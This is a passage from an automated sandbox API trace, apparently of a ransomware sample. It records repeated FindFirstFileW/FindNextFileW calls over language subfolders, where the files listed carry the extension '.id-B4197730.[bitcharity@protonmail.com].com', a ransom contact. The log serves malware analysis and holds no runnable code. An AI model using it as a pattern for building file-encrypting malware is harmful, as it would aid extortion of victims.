ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebb30 [0241.824] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.825] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31411f34, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31411f34, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3155deb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.825] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3158df3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.825] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31306eb6, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31306eb6, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31f0810b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.825] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31306eb6, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31306eb6, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31f0810b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.825] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0241.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.826] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0241.826] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb9f0 [0241.831] FindNextFileW (in: hFindFile=0x6eb9f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.831] FindNextFileW (in: hFindFile=0x6eb9f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31411f34, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31411f34, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31a69852, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.831] FindNextFileW (in: hFindFile=0x6eb9f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31b74861, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.831] FindNextFileW (in: hFindFile=0x6eb9f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31567b4e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.832] FindNextFileW (in: hFindFile=0x6eb9f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31567b4e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.832] FindClose (in: hFindFile=0x6eb9f0 | out: hFindFile=0x6eb9f0) returned 1 [0241.833] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.833] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0241.833] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebdf0 [0241.836] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.836] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x315da52f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x315da52f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31ab5c12, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.836] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x315b4304, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x315b4304, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31ab5c12, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.837] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31411f34, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31411f34, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3158df3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.837] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31411f34, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31411f34, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3158df3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.837] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0241.838] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.838] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0241.839] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0241.841] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.841] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31a8fb46, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31a8fb46, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31fece17, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.841] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31ab5c12, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31ab5c12, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31fece17, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.842] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x314f6d52, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.842] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31439ace, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31439ace, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x314f6d52, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.842] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0241.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.844] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0241.844] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebff0 [0241.846] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.847] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31adbf87, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31adbf87, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x326edf2e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.847] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31b74861, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31b74861, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x325705f2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.847] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31529ba3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31529ba3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x316007d1, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.847] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31529ba3, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31529ba3, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x316007d1, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.847] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0241.848] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.849] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0241.849] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4f0 [0241.851] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.852] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3297656d, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.852] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x329502eb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.852] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31567b4e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31567b4e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3164cbae, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.852] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31567b4e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31567b4e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3164cbae, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.852] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0241.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.853] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0241.853] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 